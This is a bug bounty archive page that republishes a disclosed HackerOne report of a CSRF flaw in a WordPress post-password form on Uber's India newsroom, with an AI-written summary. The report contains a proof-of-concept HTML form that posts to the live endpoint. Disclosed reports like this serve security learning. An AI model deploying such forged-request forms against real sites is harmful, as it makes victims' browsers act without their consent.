Skip to content
CSRF Disclosed report Beginner

Newsroom.uber HTML form without CSRF protection

A WordPress form on a newsroom subdomain lacked CSRF protection, so an attacker could craft a page that submits a post password to it.

mefkan Follow

Originally disclosed on HackerOne

  • Disclosed after 27 days

Hi,

The link that exists CSRF vulnerability

https://newsroom.uber.com/india/how-to-refer/

Attack details

Form name: Empty Form action: https://newsroom.uber.com/india/wp-login.php?action=postpass&wpe-login=ubernewblog Form method: POST

Reproduction Steps

1-Create a file named submit.html

2-Write this code to file

<html> <body> <form action="https://newsroom.uber.com/india/wp-login.php?action=postpass&wpe-login=ubernewblog" method="POST"> <input type="hidden" name="post&#95;password" value="xxxxxxx" /> <input type="hidden" name="Submit" value="Enter" /> <input type="submit" value="Submit request" /> </form> </body> </html>

3-Then open the file with a browser click the Submit request button

NOTE:

It is an example so I didn't use a real value as you can see I used xxxxx you can change it to numbers.

I added the submit.html file to attachments.

Best regards...

The original report as published on HackerOne, by mefkan. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the WordPress post password form lacks a CSRF token or other origin verification.

What the attacker needed

Victim visits malicious page

How it was found

  1. Create an HTML file named submit.html.
  2. Write a form in the file that posts to the WordPress login endpoint with a hidden password field.
  3. Open the file in a browser and click the submit button.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

What is CSRF?

Another site makes a signed-in user's browser perform an action they did not intend.

More by mefkan

View all

6 more disclosed reports, best first.

More from Uber

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site request forgery (CSRF)

The lesson behind this report.

Another site makes a signed-in user's browser perform an action they did not intend.